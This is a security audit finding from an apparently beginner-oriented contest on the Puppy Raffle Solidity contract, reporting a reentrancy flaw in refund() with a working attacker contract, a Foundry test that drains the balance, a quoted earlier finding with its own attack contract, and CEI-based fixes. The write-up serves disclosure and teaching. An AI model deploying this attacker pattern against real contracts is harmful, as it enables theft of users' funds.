Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

H-1 External call to sentValue function before changing internal state causes reentrancy attack

jekysah

Violation of CEI pattern causing reentrancy in PuppyRaffle::refund

Description

The refund function is intended to allow an active player to withdraw their deposited entrance fee and relinquish their position in the raffle before the winner is drawn.

However, the function transfers Ether to the caller via sendValue before updating the contract's internal state to record that the player has been refunded. Since external contract callers can execute arbitrary code upon receiving Ether (via their receive or fallback functions), an attacker can recursively re-enter refund before their address entry is cleared from the players array.

Risk

  • Likelihood: High

    • Reason 1: Any player entering the raffle through a custom smart contract can execute this reentrancy vector without requiring special permissions or administrative privileges.

    • Reason 2: The function lacks reentrancy guards (ReentrancyGuard / nonReentrant), making the vulnerable state accessible on every raw call.

  • Impact: High

    • Impact 1: Complete drain of all Ether accumulated in the PuppyRaffle contract from all legitimate players.

    • Impact 2: Permanent disruption of the raffle mechanism, rendering the contract incapable of paying out prizes to legitimate winners.

Proof of Concept

An attacker can exploit this vulnerability by deploying a malicious contract (ReentrancyAttacker) that enters the raffle and immediately calls refund().

  1. Triggering the Initial Refund: The attacker calls attack() on their exploit contract, transferring 1 * entranceFee. The contract registers as a valid player in PuppyRaffle and invokes PuppyRaffle::refund.

  2. Re-entering via Fallback: When PuppyRaffle transfers Ether using sendValue(), execution control hands over to the attacker contract's receive() function. Because state modification (players[playerIndex] = address(0)) occurs after the transfer, the validation check require(playerAddress != address(0)) evaluates to true again.

  3. Recursive Drain: The receive() function repeatedly calls refund() until address(puppyRaffle).balance drops below entranceFee.

  4. Execution Outcome: The attacker successfully extracts their initial deposit plus all accumulated funds deposited by legitimate players, leaving the raffle contract empty.


Attacker contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract ReentrancyAttacker {
PuppyRaffle public target;
uint256 public attackerIndex;
​
constructor(address _target) {
target = PuppyRaffle(_target);
}
​
function attack() external payable {
// 1. Формируем массив из 1 игрока (самого атакующего)
address[] memory players = new address[](1);
players[0] = address(this);
​
// 2. Входим в раффл
target.enterRaffle{value: msg.value}(players);
​
// 3. Находим свой индекс и запускаем реэнтранси
attackerIndex = target.getActivePlayerIndex(address(this));
target.refund(attackerIndex);
}
​
receive() external payable {
// Повторяем вызов refund(), пока у PuppyRaffle есть деньги
if (address(target).balance >= target.entranceFee()) {
target.refund(attackerIndex);
}
}
}
function test_ReentrancyRefund() public {
address[] memory players = new address[](10);
for (uint256 i = 0; i < 10; i++) {
players[i] = address(uint160(i + 10));
}
puppyRaffle.enterRaffle{value: entranceFee * 10}(players);
​
uint256 startingRaffleBalance = address(puppyRaffle).balance;
console2.log("startingRaffleBalance: ", startingRaffleBalance);
​
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(address(puppyRaffle));
reentrancyAttacker.attack{value: entranceFee}();
​
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(reentrancyAttacker).balance, startingRaffleBalance + entranceFee);
console2.log("attackerBalance: ", address(reentrancyAttacker).balance);
​
}

Recommended Mitigation

Strictly go with CEI pattern

To fix this vulnerability, apply the Checks-Effects-Interactions (CEI) pattern by updating the contract state before initiating any external transfer.

  1. Reorder State Changes (CEI Pattern): Update players[playerIndex] = address(0) prior to calling sendValue(). If the contract attempts to re-enter refund(), the require(playerAddress != address(0)) check will fail and revert the execution.

function refund(uint256 playerIndex) public {
​
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
players[playerIndex] = address(0);
​
payable(msg.sender).sendValue(entranceFee);
​
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!